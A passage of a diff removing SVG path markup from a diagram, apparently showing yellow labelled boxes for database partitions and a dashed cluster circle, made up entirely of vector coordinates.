-                <path d="M354.16272,457.5403 L354.16272,457.5403 C354.16272,453.733659 357.248627,450.647783 361.055268,450.647783 L410.766268,450.647783 C412.59427,450.647783 414.347414,451.373949 415.640017,452.666551 C416.932619,453.959154 417.658785,455.712297 417.658785,457.5403 L417.658785,485.109575 C417.658785,488.916216 414.572908,492.002123 410.766268,492.002123 L361.055268,492.002123 C357.248627,492.002123 354.16272,488.916216 354.16272,485.109575 L354.16272,457.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M367.85217,470.87247 L367.85217,459.388095 L369.13342,459.388095 L369.13342,460.46622 C369.435503,460.039137 369.774045,459.721428 370.149045,459.513095 C370.534462,459.304762 370.998003,459.200595 371.53967,459.200595 C372.248003,459.200595 372.873003,459.382887 373.41467,459.74747 C373.956337,460.112053 374.362587,460.627678 374.63342,461.294345 C374.91467,461.950595 375.055295,462.674553 375.055295,463.46622 C375.055295,464.320387 374.899045,465.086012 374.586545,465.763095 C374.284462,466.440178 373.841753,466.961012 373.25842,467.325595 C372.685503,467.690178 372.076128,467.87247 371.430295,467.87247 C370.961545,467.87247 370.53967,467.773512 370.16467,467.575595 C369.800087,467.377678 369.498003,467.127678 369.25842,466.825595 L369.25842,470.87247 L367.85217,470.87247 Z M369.117795,463.575595 C369.117795,464.648512 369.331337,465.440178 369.75842,465.950595 C370.19592,466.461012 370.721962,466.71622 371.336545,466.71622 C371.961545,466.71622 372.498003,466.450595 372.94592,465.919345 C373.393837,465.388095 373.617795,464.570387 373.617795,463.46622 C373.617795,462.40372 373.399045,461.612053 372.961545,461.09122 C372.524045,460.55997 372.003212,460.294345 371.399045,460.294345 C370.805295,460.294345 370.274045,460.575595 369.805295,461.138095 C369.346962,461.700595 369.117795,462.513095 369.117795,463.575595 Z M376.219358,463.52872 C376.219358,461.99747 376.646441,460.862053 377.500608,460.12247 C378.219358,459.507887 379.089149,459.200595 380.109983,459.200595 C381.255816,459.200595 382.188108,459.575595 382.906858,460.325595 C383.636024,461.065178 384.000608,462.096428 384.000608,463.419345 C384.000608,464.481845 383.839149,465.320387 383.516233,465.93497 C383.193316,466.549553 382.724566,467.02872 382.109983,467.37247 C381.505816,467.705803 380.839149,467.87247 380.109983,467.87247 C378.953733,467.87247 378.016233,467.502678 377.297483,466.763095 C376.578733,466.013095 376.219358,464.93497 376.219358,463.52872 Z M377.672483,463.52872 C377.672483,464.59122 377.901649,465.388095 378.359983,465.919345 C378.828733,466.450595 379.412066,466.71622 380.109983,466.71622 C380.807899,466.71622 381.386024,466.450595 381.844358,465.919345 C382.313108,465.388095 382.547483,464.575595 382.547483,463.481845 C382.547483,462.461012 382.313108,461.68497 381.844358,461.15372 C381.386024,460.62247 380.807899,460.356845 380.109983,460.356845 C379.412066,460.356845 378.828733,460.62247 378.359983,461.15372 C377.901649,461.674553 377.672483,462.46622 377.672483,463.52872 Z M385.086545,465.200595 L386.47717,464.981845 C386.550087,465.544345 386.763628,465.976637 387.117795,466.27872 C387.482378,466.570387 387.982378,466.71622 388.617795,466.71622 C389.263628,466.71622 389.742795,466.586012 390.055295,466.325595 C390.367795,466.054762 390.524045,465.742262 390.524045,465.388095 C390.524045,465.075595 390.388628,464.825595 390.117795,464.638095 C389.919878,464.513095 389.440712,464.356845 388.680295,464.169345 C387.649045,463.908928 386.930295,463.68497 386.524045,463.49747 C386.128212,463.299553 385.826128,463.033928 385.617795,462.700595 C385.419878,462.367262 385.32092,461.99747 385.32092,461.59122 C385.32092,461.21622 385.404253,460.87247 385.57092,460.55997 C385.737587,460.24747 385.966753,459.987053 386.25842,459.77872 C386.47717,459.612053 386.774045,459.476637 387.149045,459.37247 C387.534462,459.257887 387.940712,459.200595 388.367795,459.200595 C389.024045,459.200595 389.596962,459.294345 390.086545,459.481845 C390.576128,459.669345 390.935503,459.924553 391.16467,460.24747 C391.404253,460.55997 391.57092,460.987053 391.66467,461.52872 L390.28967,461.71622 C390.22717,461.289137 390.044878,460.955803 389.742795,460.71622 C389.440712,460.476637 389.018837,460.356845 388.47717,460.356845 C387.831337,460.356845 387.367795,460.46622 387.086545,460.68497 C386.815712,460.893303 386.680295,461.138095 386.680295,461.419345 C386.680295,461.606845 386.737587,461.773512 386.85217,461.919345 C386.966753,462.065178 387.143837,462.190178 387.38342,462.294345 C387.529253,462.346428 387.94592,462.46622 388.63342,462.65372 C389.623003,462.914137 390.315712,463.132887 390.711545,463.30997 C391.107378,463.476637 391.41467,463.721428 391.63342,464.044345 C391.862587,464.367262 391.97717,464.768303 391.97717,465.24747 C391.97717,465.71622 391.836545,466.158928 391.555295,466.575595 C391.284462,466.981845 390.888628,467.299553 390.367795,467.52872 C389.857378,467.757887 389.279253,467.87247 388.63342,467.87247 C387.550087,467.87247 386.72717,467.648512 386.16467,467.200595 C385.60217,466.752678 385.242795,466.086012 385.086545,465.200595 Z M396.711545,466.419345 L396.91467,467.669345 C396.518837,467.752678 396.16467,467.794345 395.85217,467.794345 C395.341753,467.794345 394.94592,467.71622 394.66467,467.55997 C394.38342,467.393303 394.185503,467.179762 394.07092,466.919345 C393.956337,466.648512 393.899045,466.09122 393.899045,465.24747 L393.899045,460.481845 L392.867795,460.481845 L392.867795,459.388095 L393.899045,459.388095 L393.899045,457.325595 L395.305295,456.481845 L395.305295,459.388095 L396.711545,459.388095 L396.711545,460.481845 L395.305295,460.481845 L395.305295,465.325595 C395.305295,465.731845 395.326128,465.992262 395.367795,466.106845 C395.419878,466.221428 395.503212,466.315178 395.617795,466.388095 C395.732378,466.450595 395.893837,466.481845 396.10217,466.481845 C396.25842,466.481845 396.461545,466.461012 396.711545,466.419345 Z M397.531858,465.200595 L398.922483,464.981845 C398.995399,465.544345 399.208941,465.976637 399.563108,466.27872 C399.927691,466.570387 400.427691,466.71622 401.063108,466.71622 C401.708941,466.71622 402.188108,466.586012 402.500608,466.325595 C402.813108,466.054762 402.969358,465.742262 402.969358,465.388095 C402.969358,465.075595 402.833941,464.825595 402.563108,464.638095 C402.365191,464.513095 401.886024,464.356845 401.125608,464.169345 C400.094358,463.908928 399.375608,463.68497 398.969358,463.49747 C398.573524,463.299553 398.271441,463.033928 398.063108,462.700595 C397.865191,462.367262 397.766233,461.99747 397.766233,461.59122 C397.766233,461.21622 397.849566,460.87247 398.016233,460.55997 C398.182899,460.24747 398.412066,459.987053 398.703733,459.77872 C398.922483,459.612053 399.219358,459.476637 399.594358,459.37247 C399.979774,459.257887 400.386024,459.200595 400.813108,459.200595 C401.469358,459.200595 402.042274,459.294345 402.531858,459.481845 C403.021441,459.669345 403.380816,459.924553 403.609983,460.24747 C403.849566,460.55997 404.016233,460.987053 404.109983,461.52872 L402.734983,461.71622 C402.672483,461.289137 402.490191,460.955803 402.188108,460.71622 C401.886024,460.476637 401.464149,460.356845 400.922483,460.356845 C400.276649,460.356845 399.813108,460.46622 399.531858,460.68497 C399.261024,460.893303 399.125608,461.138095 399.125608,461.419345 C399.125608,461.606845 399.182899,461.773512 399.297483,461.919345 C399.412066,462.065178 399.589149,462.190178 399.828733,462.294345 C399.974566,462.346428 400.391233,462.46622 401.078733,462.65372 C402.068316,462.914137 402.761024,463.132887 403.156858,463.30997 C403.552691,463.476637 403.859983,463.721428 404.078733,464.044345 C404.307899,464.367262 404.422483,464.768303 404.422483,465.24747 C404.422483,465.71622 404.281858,466.158928 404.000608,466.575595 C403.729774,466.981845 403.333941,467.299553 402.813108,467.52872 C402.302691,467.757887 401.724566,467.87247 401.078733,467.87247 C399.995399,467.87247 399.172483,467.648512 398.609983,467.200595 C398.047483,466.752678 397.688108,466.086012 397.531858,465.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M376.7975,483.65372 L378.20375,483.46622 C378.370417,484.268303 378.646458,484.846428 379.031875,485.200595 C379.417292,485.544345 379.89125,485.71622 380.45375,485.71622 C381.11,485.71622 381.667292,485.487053 382.125625,485.02872 C382.583958,484.570387 382.813125,484.002678 382.813125,483.325595 C382.813125,482.679762 382.599583,482.148512 382.1725,481.731845 C381.755833,481.315178 381.219375,481.106845 380.563125,481.106845 C380.302708,481.106845 379.974583,481.158928 379.57875,481.263095 L379.735,480.02872 C379.82875,480.039137 379.901667,480.044345 379.95375,480.044345 C380.557917,480.044345 381.099583,479.888095 381.57875,479.575595 C382.057917,479.263095 382.2975,478.77872 382.2975,478.12247 C382.2975,477.612053 382.120417,477.190178 381.76625,476.856845 C381.4225,476.513095 380.974583,476.34122 380.4225,476.34122 C379.870417,476.34122 379.412083,476.513095 379.0475,476.856845 C378.682917,477.200595 378.448542,477.71622 378.344375,478.40372 L376.938125,478.15372 C377.115208,477.205803 377.505833,476.476637 378.11,475.96622 C378.724583,475.445387 379.485,475.18497 380.39125,475.18497 C381.01625,475.18497 381.589167,475.320387 382.11,475.59122 C382.64125,475.851637 383.042292,476.21622 383.313125,476.68497 C383.594375,477.143303 383.735,477.632887 383.735,478.15372 C383.735,478.65372 383.599583,479.106845 383.32875,479.513095 C383.068333,479.919345 382.677708,480.242262 382.156875,480.481845 C382.833958,480.638095 383.36,480.961012 383.735,481.450595 C384.11,481.940178 384.2975,482.554762 384.2975,483.294345 C384.2975,484.294345 383.932917,485.143303 383.20375,485.84122 C382.474583,486.539137 381.552708,486.888095 380.438125,486.888095 C379.438125,486.888095 378.604792,486.59122 377.938125,485.99747 C377.271458,485.393303 376.89125,484.612053 376.7975,483.65372 Z M386.258438,486.68497 L386.258438,475.231845 L390.586563,475.231845 C391.346979,475.231845 391.925104,475.268303 392.320938,475.34122 C392.883438,475.43497 393.352188,475.612053 393.727188,475.87247 C394.112604,476.132887 394.419896,476.502678 394.649063,476.981845 C394.888646,477.450595 395.008438,477.971428 395.008438,478.544345 C395.008438,479.513095 394.695938,480.336012 394.070938,481.013095 C393.456354,481.690178 392.336563,482.02872 390.711563,482.02872 L387.774063,482.02872 L387.774063,486.68497 L386.258438,486.68497 Z M387.774063,480.669345 L390.742813,480.669345 C391.721979,480.669345 392.414688,480.487053 392.820938,480.12247 C393.237604,479.757887 393.445938,479.24747 393.445938,478.59122 C393.445938,478.112053 393.320938,477.700595 393.070938,477.356845 C392.831354,477.013095 392.513646,476.789137 392.117813,476.68497 C391.867813,476.612053 391.399063,476.575595 390.711563,476.575595 L387.774063,476.575595 L387.774063,480.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M282.16272,457.5403 L282.16272,457.5403 C282.16272,453.733659 285.248627,450.647783 289.055268,450.647783 L338.766268,450.647783 C340.59427,450.647783 342.347414,451.373949 343.640017,452.666551 C344.932619,453.959154 345.658785,455.712297 345.658785,457.5403 L345.658785,485.109575 C345.658785,488.916216 342.572908,492.002123 338.766268,492.002123 L289.055268,492.002123 C285.248627,492.002123 282.16272,488.916216 282.16272,485.109575 L282.16272,457.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M295.85217,470.87247 L295.85217,459.388095 L297.13342,459.388095 L297.13342,460.46622 C297.435503,460.039137 297.774045,459.721428 298.149045,459.513095 C298.534462,459.304762 298.998003,459.200595 299.53967,459.200595 C300.248003,459.200595 300.873003,459.382887 301.41467,459.74747 C301.956337,460.112053 302.362587,460.627678 302.63342,461.294345 C302.91467,461.950595 303.055295,462.674553 303.055295,463.46622 C303.055295,464.320387 302.899045,465.086012 302.586545,465.763095 C302.284462,466.440178 301.841753,466.961012 301.25842,467.325595 C300.685503,467.690178 300.076128,467.87247 299.430295,467.87247 C298.961545,467.87247 298.53967,467.773512 298.16467,467.575595 C297.800087,467.377678 297.498003,467.127678 297.25842,466.825595 L297.25842,470.87247 L295.85217,470.87247 Z M297.117795,463.575595 C297.117795,464.648512 297.331337,465.440178 297.75842,465.950595 C298.19592,466.461012 298.721962,466.71622 299.336545,466.71622 C299.961545,466.71622 300.498003,466.450595 300.94592,465.919345 C301.393837,465.388095 301.617795,464.570387 301.617795,463.46622 C301.617795,462.40372 301.399045,461.612053 300.961545,461.09122 C300.524045,460.55997 300.003212,460.294345 299.399045,460.294345 C298.805295,460.294345 298.274045,460.575595 297.805295,461.138095 C297.346962,461.700595 297.117795,462.513095 297.117795,463.575595 Z M304.219358,463.52872 C304.219358,461.99747 304.646441,460.862053 305.500608,460.12247 C306.219358,459.507887 307.089149,459.200595 308.109983,459.200595 C309.255816,459.200595 310.188108,459.575595 310.906858,460.325595 C311.636024,461.065178 312.000608,462.096428 312.000608,463.419345 C312.000608,464.481845 311.839149,465.320387 311.516233,465.93497 C311.193316,466.549553 310.724566,467.02872 310.109983,467.37247 C309.505816,467.705803 308.839149,467.87247 308.109983,467.87247 C306.953733,467.87247 306.016233,467.502678 305.297483,466.763095 C304.578733,466.013095 304.219358,464.93497 304.219358,463.52872 Z M305.672483,463.52872 C305.672483,464.59122 305.901649,465.388095 306.359983,465.919345 C306.828733,466.450595 307.412066,466.71622 308.109983,466.71622 C308.807899,466.71622 309.386024,466.450595 309.844358,465.919345 C310.313108,465.388095 310.547483,464.575595 310.547483,463.481845 C310.547483,462.461012 310.313108,461.68497 309.844358,461.15372 C309.386024,460.62247 308.807899,460.356845 308.109983,460.356845 C307.412066,460.356845 306.828733,460.62247 306.359983,461.15372 C305.901649,461.674553 305.672483,462.46622 305.672483,463.52872 Z M313.086545,465.200595 L314.47717,464.981845 C314.550087,465.544345 314.763628,465.976637 315.117795,466.27872 C315.482378,466.570387 315.982378,466.71622 316.617795,466.71622 C317.263628,466.71622 317.742795,466.586012 318.055295,466.325595 C318.367795,466.054762 318.524045,465.742262 318.524045,465.388095 C318.524045,465.075595 318.388628,464.825595 318.117795,464.638095 C317.919878,464.513095 317.440712,464.356845 316.680295,464.169345 C315.649045,463.908928 314.930295,463.68497 314.524045,463.49747 C314.128212,463.299553 313.826128,463.033928 313.617795,462.700595 C313.419878,462.367262 313.32092,461.99747 313.32092,461.59122 C313.32092,461.21622 313.404253,460.87247 313.57092,460.55997 C313.737587,460.24747 313.966753,459.987053 314.25842,459.77872 C314.47717,459.612053 314.774045,459.476637 315.149045,459.37247 C315.534462,459.257887 315.940712,459.200595 316.367795,459.200595 C317.024045,459.200595 317.596962,459.294345 318.086545,459.481845 C318.576128,459.669345 318.935503,459.924553 319.16467,460.24747 C319.404253,460.55997 319.57092,460.987053 319.66467,461.52872 L318.28967,461.71622 C318.22717,461.289137 318.044878,460.955803 317.742795,460.71622 C317.440712,460.476637 317.018837,460.356845 316.47717,460.356845 C315.831337,460.356845 315.367795,460.46622 315.086545,460.68497 C314.815712,460.893303 314.680295,461.138095 314.680295,461.419345 C314.680295,461.606845 314.737587,461.773512 314.85217,461.919345 C314.966753,462.065178 315.143837,462.190178 315.38342,462.294345 C315.529253,462.346428 315.94592,462.46622 316.63342,462.65372 C317.623003,462.914137 318.315712,463.132887 318.711545,463.30997 C319.107378,463.476637 319.41467,463.721428 319.63342,464.044345 C319.862587,464.367262 319.97717,464.768303 319.97717,465.24747 C319.97717,465.71622 319.836545,466.158928 319.555295,466.575595 C319.284462,466.981845 318.888628,467.299553 318.367795,467.52872 C317.857378,467.757887 317.279253,467.87247 316.63342,467.87247 C315.550087,467.87247 314.72717,467.648512 314.16467,467.200595 C313.60217,466.752678 313.242795,466.086012 313.086545,465.200595 Z M324.711545,466.419345 L324.91467,467.669345 C324.518837,467.752678 324.16467,467.794345 323.85217,467.794345 C323.341753,467.794345 322.94592,467.71622 322.66467,467.55997 C322.38342,467.393303 322.185503,467.179762 322.07092,466.919345 C321.956337,466.648512 321.899045,466.09122 321.899045,465.24747 L321.899045,460.481845 L320.867795,460.481845 L320.867795,459.388095 L321.899045,459.388095 L321.899045,457.325595 L323.305295,456.481845 L323.305295,459.388095 L324.711545,459.388095 L324.711545,460.481845 L323.305295,460.481845 L323.305295,465.325595 C323.305295,465.731845 323.326128,465.992262 323.367795,466.106845 C323.419878,466.221428 323.503212,466.315178 323.617795,466.388095 C323.732378,466.450595 323.893837,466.481845 324.10217,466.481845 C324.25842,466.481845 324.461545,466.461012 324.711545,466.419345 Z M325.531858,465.200595 L326.922483,464.981845 C326.995399,465.544345 327.208941,465.976637 327.563108,466.27872 C327.927691,466.570387 328.427691,466.71622 329.063108,466.71622 C329.708941,466.71622 330.188108,466.586012 330.500608,466.325595 C330.813108,466.054762 330.969358,465.742262 330.969358,465.388095 C330.969358,465.075595 330.833941,464.825595 330.563108,464.638095 C330.365191,464.513095 329.886024,464.356845 329.125608,464.169345 C328.094358,463.908928 327.375608,463.68497 326.969358,463.49747 C326.573524,463.299553 326.271441,463.033928 326.063108,462.700595 C325.865191,462.367262 325.766233,461.99747 325.766233,461.59122 C325.766233,461.21622 325.849566,460.87247 326.016233,460.55997 C326.182899,460.24747 326.412066,459.987053 326.703733,459.77872 C326.922483,459.612053 327.219358,459.476637 327.594358,459.37247 C327.979774,459.257887 328.386024,459.200595 328.813108,459.200595 C329.469358,459.200595 330.042274,459.294345 330.531858,459.481845 C331.021441,459.669345 331.380816,459.924553 331.609983,460.24747 C331.849566,460.55997 332.016233,460.987053 332.109983,461.52872 L330.734983,461.71622 C330.672483,461.289137 330.490191,460.955803 330.188108,460.71622 C329.886024,460.476637 329.464149,460.356845 328.922483,460.356845 C328.276649,460.356845 327.813108,460.46622 327.531858,460.68497 C327.261024,460.893303 327.125608,461.138095 327.125608,461.419345 C327.125608,461.606845 327.182899,461.773512 327.297483,461.919345 C327.412066,462.065178 327.589149,462.190178 327.828733,462.294345 C327.974566,462.346428 328.391233,462.46622 329.078733,462.65372 C330.068316,462.914137 330.761024,463.132887 331.156858,463.30997 C331.552691,463.476637 331.859983,463.721428 332.078733,464.044345 C332.307899,464.367262 332.422483,464.768303 332.422483,465.24747 C332.422483,465.71622 332.281858,466.158928 332.000608,466.575595 C331.729774,466.981845 331.333941,467.299553 330.813108,467.52872 C330.302691,467.757887 329.724566,467.87247 329.078733,467.87247 C327.995399,467.87247 327.172483,467.648512 326.609983,467.200595 C326.047483,466.752678 325.688108,466.086012 325.531858,465.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M312.1881,485.3256 L312.1881,486.684975 L304.609975,486.684975 C304.599558,486.341225 304.65685,486.0131 304.78185,485.7006 C304.96935,485.190183 305.276642,484.684975 305.703725,484.184975 C306.130808,483.684975 306.745392,483.10685 307.547475,482.4506 C308.787058,481.429767 309.6256,480.622475 310.0631,480.028725 C310.5006,479.424558 310.71935,478.85685 310.71935,478.3256 C310.71935,477.773517 310.521433,477.304767 310.1256,476.91935 C309.729767,476.533933 309.208933,476.341225 308.5631,476.341225 C307.886017,476.341225 307.34435,476.54435 306.9381,476.9506 C306.53185,477.35685 306.328725,477.91935 306.328725,478.6381 L304.8756,478.497475 C304.979767,477.414142 305.354767,476.591225 306.0006,476.028725 C306.646433,475.466225 307.511017,475.184975 308.59435,475.184975 C309.698517,475.184975 310.568308,475.492267 311.203725,476.10685 C311.849558,476.711017 312.172475,477.461017 312.172475,478.35685 C312.172475,478.815183 312.078725,479.268308 311.891225,479.716225 C311.703725,480.153725 311.391225,480.617267 310.953725,481.10685 C310.516225,481.596433 309.792267,482.268308 308.78185,483.122475 C307.9381,483.830808 307.396433,484.315183 307.15685,484.5756 C306.917267,484.8256 306.71935,485.0756 306.5631,485.3256 L312.1881,485.3256 Z M314.258413,486.684975 L314.258413,475.23185 L318.586538,475.23185 C319.346954,475.23185 319.925079,475.268308 320.320913,475.341225 C320.883413,475.434975 321.352163,475.612058 321.727163,475.872475 C322.112579,476.132892 322.419871,476.502683 322.649038,476.98185 C322.888621,477.4506 323.008413,477.971433 323.008413,478.54435 C323.008413,479.5131 322.695913,480.336017 322.070913,481.0131 C321.456329,481.690183 320.336538,482.028725 318.711538,482.028725 L315.774038,482.028725 L315.774038,486.684975 L314.258413,486.684975 Z M315.774038,480.66935 L318.742788,480.66935 C319.721954,480.66935 320.414663,480.487058 320.820913,480.122475 C321.237579,479.757892 321.445913,479.247475 321.445913,478.591225 C321.445913,478.112058 321.320913,477.7006 321.070913,477.35685 C320.831329,477.0131 320.513621,476.789142 320.117788,476.684975 C319.867788,476.612058 319.399038,476.5756 318.711538,476.5756 L315.774038,476.5756 L315.774038,480.66935 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M520.695394,207.9581 L520.695394,207.9581 C520.695394,130.00333 585.370876,66.8085 665.15213,66.8085 L665.15213,66.8085 C703.464447,66.8085 740.20755,81.6795785 767.29843,108.150266 C794.389311,134.620946 809.608794,170.522909 809.608794,207.958106 L809.608794,207.958106 C809.608794,285.912876 744.933318,349.107706 665.152124,349.107706 L665.152124,349.107706 C585.370874,349.107706 520.695394,285.912882 520.695394,207.958106 L520.695394,207.9581 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M520.695394,207.9581 L520.695394,207.9581 C520.695394,130.00333 585.370876,66.8085 665.15213,66.8085 L665.15213,66.8085 C703.464447,66.8085 740.20755,81.6795785 767.29843,108.150266 C794.389311,134.620946 809.608794,170.522909 809.608794,207.958106 L809.608794,207.958106 C809.608794,285.912876 744.933318,349.107706 665.152124,349.107706 L665.152124,349.107706 C585.370874,349.107706 520.695394,285.912882 520.695394,207.958106 L520.695394,207.9581 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="570.9633 75.83976 759.34123 75.83976 759.34123 116.28071 570.9633 116.28071"></polygon>
-                <path d="M621.1676,102.94726 C619.719683,102.94726 618.599892,102.504552 617.808225,101.619135 C617.016558,100.723302 616.620725,99.462885 616.620725,97.837885 C616.620725,96.1608017 617.021767,94.869135 617.82385,93.962885 C618.63635,93.0462183 619.782183,92.587885 621.26135,92.587885 C621.740517,92.587885 622.219683,92.6399683 622.69885,92.744135 C623.188433,92.8483017 623.568642,92.9733017 623.839475,93.119135 L623.370725,94.400385 C623.037392,94.2649683 622.672808,94.1555933 622.276975,94.07226 C621.881142,93.97851 621.532183,93.931635 621.2301,93.931635 C619.19885,93.931635 618.183225,95.2233017 618.183225,97.806635 C618.183225,99.0358017 618.428017,99.97851 618.9176,100.63476 C619.4176,101.29101 620.157183,101.619135 621.13635,101.619135 C621.969683,101.619135 622.818642,101.442052 623.683225,101.087885 L623.683225,102.41601 C623.016558,102.770177 622.178017,102.94726 621.1676,102.94726 Z M627.565,102.75976 L626.065,102.75976 L626.065,88.587885 L627.565,88.587885 L627.565,102.75976 Z M632.205564,92.775385 L632.205564,99.25976 C632.205564,100.07226 632.387856,100.681635 632.752439,101.087885 C633.127439,101.483718 633.705564,101.681635 634.486814,101.681635 C635.538897,101.681635 636.304522,101.395177 636.783689,100.82226 C637.262856,100.249343 637.502439,99.3170517 637.502439,98.025385 L637.502439,92.775385 L639.018064,92.775385 L639.018064,102.75976 L637.768064,102.75976 L637.549314,101.41601 L637.471189,101.41601 C637.158689,101.91601 636.726397,102.296218 636.174314,102.556635 C635.632647,102.817052 635.007647,102.94726 634.299314,102.94726 C633.090981,102.94726 632.184731,102.660802 631.580564,102.087885 C630.976397,101.504552 630.674314,100.577468 630.674314,99.306635 L630.674314,92.775385 L632.205564,92.775385 Z M648.671873,100.04101 C648.671873,100.968093 648.322915,101.686843 647.624998,102.19726 C646.937498,102.69726 645.968748,102.94726 644.718748,102.94726 C643.395831,102.94726 642.364581,102.733718 641.624998,102.306635 L641.624998,100.91601 C642.104165,101.155593 642.614581,101.348302 643.156248,101.494135 C643.708331,101.629552 644.239581,101.69726 644.749998,101.69726 C645.541665,101.69726 646.15104,101.57226 646.578123,101.32226 C647.005206,101.061843 647.218748,100.676427 647.218748,100.16601 C647.218748,99.7805933 647.046873,99.44726 646.703123,99.16601 C646.36979,98.88476 645.71354,98.556635 644.734373,98.181635 C643.80729,97.837885 643.145831,97.54101 642.749998,97.29101 C642.364581,97.0305933 642.072915,96.7389267 641.874998,96.41601 C641.687498,96.0826767 641.593748,95.6868433 641.593748,95.22851 C641.593748,94.41601 641.921873,93.775385 642.578123,93.306635 C643.24479,92.8274683 644.156248,92.587885 645.312498,92.587885 C646.385415,92.587885 647.43229,92.806635 648.453123,93.244135 L647.921873,94.47851 C646.921873,94.0618433 646.015623,93.85351 645.203123,93.85351 C644.484373,93.85351 643.942706,93.9680933 643.578123,94.19726 C643.21354,94.4264267 643.031248,94.7337183 643.031248,95.119135 C643.031248,95.3899683 643.098956,95.619135 643.234373,95.806635 C643.36979,95.994135 643.58854,96.1764267 643.890623,96.35351 C644.192706,96.5201767 644.77604,96.7649683 645.640623,97.087885 C646.828123,97.5149683 647.630206,97.94726 648.046873,98.38476 C648.46354,98.82226 648.671873,99.3743433 648.671873,100.04101 Z M654.353086,101.69726 C654.62392,101.69726 654.879128,101.676427 655.118711,101.63476 C655.368711,101.593093 655.566628,101.551427 655.712461,101.50976 L655.712461,102.66601 C655.556211,102.749343 655.316628,102.817052 654.993711,102.869135 C654.670795,102.921218 654.384336,102.94726 654.134336,102.94726 C652.207253,102.94726 651.243711,101.926427 651.243711,99.88476 L651.243711,93.94726 L649.806211,93.94726 L649.806211,93.22851 L651.243711,92.587885 L651.868711,90.462885 L652.743711,90.462885 L652.743711,92.775385 L655.649961,92.775385 L655.649961,93.94726 L652.743711,93.94726 L652.743711,99.82226 C652.743711,100.426427 652.884336,100.889968 653.165586,101.212885 C653.457253,101.535802 653.853086,101.69726 654.353086,101.69726 Z M661.939268,102.94726 C660.460101,102.94726 659.293435,102.499343 658.439268,101.60351 C657.585101,100.69726 657.158018,99.44726 657.158018,97.85351 C657.158018,96.2389267 657.553851,94.9576767 658.345518,94.00976 C659.137185,93.0618433 660.199685,92.587885 661.533018,92.587885 C662.793435,92.587885 663.783018,92.9993433 664.501768,93.82226 C665.230935,94.6451767 665.595518,95.7337183 665.595518,97.087885 L665.595518,98.04101 L658.720518,98.04101 C658.751768,99.2180933 659.048643,100.108718 659.611143,100.712885 C660.173643,101.317052 660.96531,101.619135 661.986143,101.619135 C663.05906,101.619135 664.12156,101.395177 665.173643,100.94726 L665.173643,102.29101 C664.642393,102.520177 664.137185,102.686843 663.658018,102.79101 C663.178851,102.895177 662.605935,102.94726 661.939268,102.94726 Z M661.517393,93.85351 C660.71531,93.85351 660.074685,94.119135 659.595518,94.650385 C659.126768,95.1712183 658.850726,95.8899683 658.767393,96.806635 L663.986143,96.806635 C663.986143,95.8587183 663.772601,95.1295517 663.345518,94.619135 C662.918435,94.1087183 662.30906,93.85351 661.517393,93.85351 Z M672.73419,92.587885 C673.182107,92.587885 673.57794,92.6243433 673.92169,92.69726 L673.718565,94.10351 C673.301898,94.00976 672.937315,93.962885 672.624815,93.962885 C671.822732,93.962885 671.130023,94.29101 670.54669,94.94726 C669.973773,95.60351 669.687315,96.4212183 669.687315,97.400385 L669.687315,102.75976 L668.187315,102.75976 L668.187315,92.775385 L669.42169,92.775385 L669.60919,94.619135 L669.67169,94.619135 C670.04669,93.9733017 670.494607,93.4733017 671.01544,93.119135 C671.536273,92.7649683 672.10919,92.587885 672.73419,92.587885 Z M675.584105,101.79101 C675.584105,101.38476 675.672646,101.077468 675.84973,100.869135 C676.03723,100.660802 676.302855,100.556635 676.646605,100.556635 C677.000771,100.556635 677.276813,100.660802 677.47473,100.869135 C677.672646,101.077468 677.771605,101.38476 677.771605,101.79101 C677.771605,102.186843 677.672646,102.494135 677.47473,102.712885 C677.276813,102.921218 677.000771,103.025385 676.646605,103.025385 C676.344521,103.025385 676.089313,102.931635 675.88098,102.744135 C675.683063,102.546218 675.584105,102.22851 675.584105,101.79101 Z M675.584105,93.744135 C675.584105,92.931635 675.938271,92.525385 676.646605,92.525385 C677.396605,92.525385 677.771605,92.931635 677.771605,93.744135 C677.771605,94.1399683 677.672646,94.44726 677.47473,94.66601 C677.276813,94.8743433 677.000771,94.97851 676.646605,94.97851 C676.344521,94.97851 676.089313,94.88476 675.88098,94.69726 C675.683063,94.4993433 675.584105,94.181635 675.584105,93.744135 Z M687.035643,92.775385 L687.035643,99.25976 C687.035643,100.07226 687.217934,100.681635 687.582518,101.087885 C687.957518,101.483718 688.535643,101.681635 689.316893,101.681635 C690.368976,101.681635 691.134601,101.395177 691.613768,100.82226 C692.092934,100.249343 692.332518,99.3170517 692.332518,98.025385 L692.332518,92.775385 L693.848143,92.775385 L693.848143,102.75976 L692.598143,102.75976 L692.379393,101.41601 L692.301268,101.41601 C691.988768,101.91601 691.556476,102.296218 691.004393,102.556635 C690.462726,102.817052 689.837726,102.94726 689.129393,102.94726 C687.921059,102.94726 687.014809,102.660802 686.410643,102.087885 C685.806476,101.504552 685.504393,100.577468 685.504393,99.306635 L685.504393,92.775385 L687.035643,92.775385 Z M703.501891,100.04101 C703.501891,100.968093 703.152932,101.686843 702.455016,102.19726 C701.767516,102.69726 700.798766,102.94726 699.548766,102.94726 C698.225849,102.94726 697.194599,102.733718 696.455016,102.306635 L696.455016,100.91601 C696.934182,101.155593 697.444599,101.348302 697.986266,101.494135 C698.538349,101.629552 699.069599,101.69726 699.580016,101.69726 C700.371682,101.69726 700.981057,101.57226 701.408141,101.32226 C701.835224,101.061843 702.048766,100.676427 702.048766,100.16601 C702.048766,99.7805933 701.876891,99.44726 701.533141,99.16601 C701.199807,98.88476 700.543557,98.556635 699.564391,98.181635 C698.637307,97.837885 697.975849,97.54101 697.580016,97.29101 C697.194599,97.0305933 696.902932,96.7389267 696.705016,96.41601 C696.517516,96.0826767 696.423766,95.6868433 696.423766,95.22851 C696.423766,94.41601 696.751891,93.775385 697.408141,93.306635 C698.074807,92.8274683 698.986266,92.587885 700.142516,92.587885 C701.215432,92.587885 702.262307,92.806635 703.283141,93.244135 L702.751891,94.47851 C701.751891,94.0618433 700.845641,93.85351 700.033141,93.85351 C699.314391,93.85351 